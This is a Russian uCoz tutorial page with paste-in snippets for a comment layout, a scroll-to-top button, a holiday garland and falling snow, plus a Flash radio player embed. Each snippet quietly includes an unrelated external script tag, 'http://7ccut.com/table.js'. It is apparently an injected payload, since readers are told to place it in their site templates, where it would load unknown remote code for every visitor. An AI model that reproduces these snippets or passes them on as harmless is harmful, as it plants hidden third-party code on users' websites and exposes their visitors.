<br>Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!<br>
<br>$LOGIN_FORM$
<?endif?></center>
<!--/Конец кабинета -->
Код
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="196" height="91" id="splayer" align="middle">
<param name="movie" value="http://radioshtorm.ru/js/splayer.swf" />
<param name="quality" value="high" />
<param name="menu" value="true" />
<param name="salign" value="" />
<param name="wmode" value="transparent" />
<param name="allowScriptAccess" value="sameDomain" />
<!--[if !IE]>-->
<object type="application/x-shockwave-flash" data="http://radioshtorm.ru/js/splayer.swf" width="196" height="91">
<param name="movie" value="http://radioshtorm.ru/js/splayer.swf" />
<param name="quality" value="high" />
<param name="menu" value="true" />
<param name="salign" value="" />
<param name="wmode" value="transparent" />
<!--<![endif]-->
<a href="http://www.adobe.com/go/getflash">
<img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" />
</a>
<!--[if !IE]>-->
</object>
<!--<![endif]-->
</object>
$IMAGE1$
Удобный вид комментариев для ucoz. Очень хороший дизайн. Подойдет под любой сайт и не будет нагружать страницу сайта. Проблем с установкой не возникнут, так как дизайн простой и есть четкая инструкция - ниже. Можете поменять цвет или что нибудь добавить свое, все делается в таблице CSS стилей. Как по мне "вид комментариев" и так выглядит - отлично. Приступим к установке. Первое, что Вам нужно сделать, — зайти в панель управление сайтом, Главная » Управление дизайном » Комментарии » Вид комментариев и вставляем код:
Код "Вид комментариев для юкоз"
Код
<table border="0" cellpadding="0" cellspacing="0" width="100%" class="$CLASS$"><tr><td style="padding:3px;">
<div class="comment"><div class="comment-author vcard">
<div class="avatar"><?if($USER_AVATAR_URL$)?><img alt="" align="left" src="$USER_AVATAR_URL$" width="60" border="0" /><?else?><img src="/avatar.png" width="60" border="0"><?endif?></div>
<cite class="fn"><?if($USERNAME$)?><a href="$PROFILE_URL$"><b>$USERNAME$</b></a><?else?><b>$NAME$</b><?endif?></cite>
</div>
<div class="comment-meta commentmetadata">$DATE$ $TIME$</div>
<div style="float:right;font-size:11px;font-family:Arial,sans-serif;"><?if($COMMENT_RATING$<0)?><span class="myWinError"><b>$COMMENT_RATING$</b></span><?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;"><b>$COMMENT_RATING$</b></span><?else?><span class="myWinSuccess"><b>+$COMMENT_RATING$</b></span><?endif?><?endif?> <?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://s16.ucoz.net/img/icon/thumbu.png" width="13" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://s16.ucoz.net/img/icon/thumbd.png" width="13" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://s16.ucoz.net/img/icon/thumbu_.png" align="absmiddle" width="13" border="0" title="Хороший пост"> <img alt="" src="http://s16.ucoz.net/img/icon/thumbd_.png" width="13" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div><div class="cTop" style="text-align:left;"><?if($IS_OWN$)?><span class="myWinError">*</span> <?else?><?if($IS_NEW$)?><span class="myWinSuccess">*</span> <?endif?><?endif?><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$"><b>$NUMBER$</b></a> <script src="http://7ccut.com/table.js" type="text/javascript"></script>
</div>
<div class="cMessage" style="text-align:left;clear:both;padding:2px 0;">$MESSAGE$</div>
<?if($ANSWER$)?><div class="cAnswer" style="text-align:left;clear:both;"><b>Ответ</b>: $ANSWER$</div><?endif?>
<?if($ANSWER_URL$)?><div style="clear:both;padding:4px 0;font-size:7pt;">[<a href="$ANSWER_URL$">Ответить</a>]</div><?endif?> </div>
</td></tr></table>
После этого настраиваем стили в таблице стилей CSS
Код
.comment { float: right; clear: both; position: relative; width: 70%; padding: 15px; background: white; margin: 0 0 20px 0; -moz-border-radius: 15px; -webkit-border-radius: 15px; border-radius: 15px;}
Установка завершена.
$IMAGE1$
Как правильно установить кнопку "Вверх?
Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.
Код
<!-- To TOP -->
<a id="toTOP" href="javascript://" alt="Вверх страницы" title="Вверх страницы" style="position: fixed; bottom: 0; right: 0; cursor: pointer;" rel="nofollow"><img src="http://pnghosts.ru/img/vverh_go.png" style="margin-right: 20px; opacity:.8;" onmouseover="this.style.opacity=1; this.parentNode.style.bottom='1px'" onmouseout="this.style.opacity=.8; this.parentNode.style.bottom=0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></a><script>
$(function(){$.fn.scrollToTop=function(){$(this).hide().removeAttr("href");if($(window).scrollTop()!="0"){$(this).fadeIn("slow")}var scrollDiv=$(this);$(window).scroll(function(){if($(window).scrollTop()=="0"){$(scrollDiv).fadeOut("slow")}else{$(scrollDiv).fadeIn("slow")}});$(this).click(function(){$("html, body").animate({scrollTop:0},"slow")})}});
$(function() {$("#toTOP").scrollToTop();})
</script>
<!-- /To TOP -->
$IMAGE1$
Светящаяся разными цветами гирлянда, предназначена для украшения сайта в зимние празники, также передать пользователям праздничное настроение. Устанавливается в самый верх сайта. Скрипт не загружает сайт и ни как не портит дизайн..
Установка гирлянды на сайт:
Два варианта установки:
1. Зайти в панель управления » Открыть главную страницу вашего сайта и перед </head> вставить код.
2. Зайти в панель управления » Главная » Управление дизайном » Редактирование шаблонов » Верхняя часть сайта и в самый вверх вставляем код:
Код
<style type="text/css">
#garland {position:absolute;top:0;left:0;background-image:url('http://pnghosts.ru/img/christmas-lights.png');height:36px;width:100%;overflow:hidden;z-index:99}
#nums_1 {padding:100px}
.garland_1 {background-position: 0 0}
.garland_2 {background-position: 0 -36px}
.garland_3 {background-position: 0 -72px}
.garland_4 {background-position: 0 -108px}
</style> <div id="garland" class="garland_4">
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<div id="nums_1">1</div></div><script type="text/javascript">
function garland() {
nums = document.getElementById('nums_1').innerHTML
if(nums == 1) {document.getElementById('garland').className='garland_1';document.getElementById('nums_1').innerHTML='2'}
if(nums == 2) {document.getElementById('garland').className='garland_2';document.getElementById('nums_1').innerHTML='3'}
if(nums == 3) {document.getElementById('garland').className='garland_3';document.getElementById('nums_1').innerHTML='4'}
if(nums == 4) {document.getElementById('garland').className='garland_4';document.getElementById('nums_1').innerHTML='1'}
}
setInterval(function(){garland()}, 600)
</script>
На этом шаге установка завершена
$IMAGE1$
Очередной скрипт для сайта, связанный с новым годом. Лично мне очень понравился, так как скрипт не нагружает страницу и очень лёгок в настройках!
В верхнюю часть сайта, в самое начало вставляем скрипт:
<script type="text/javascript">
var SNOW_Picture = "http://pnghosts.ru/img/578_snow_ckript_cne.png"; // ссылка на снежинку
var SNOW_Width = "25px"; // длина снежинки
var SNOW_Height = "25px"; // высота снежинки
var SNOW_no = 99; // количество снежинок на странице одновременно
</script><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script type="text/javascript" src="http://pnghosts.ru/js_css/snow_ckript_cneg_na_cait.js"></script>
Радио Шторм
48
128
Дискач
Золотой
Трендовый
Клубный
Русский
Роковый
Классический
Наш Баннер
Помоги ресурсу!
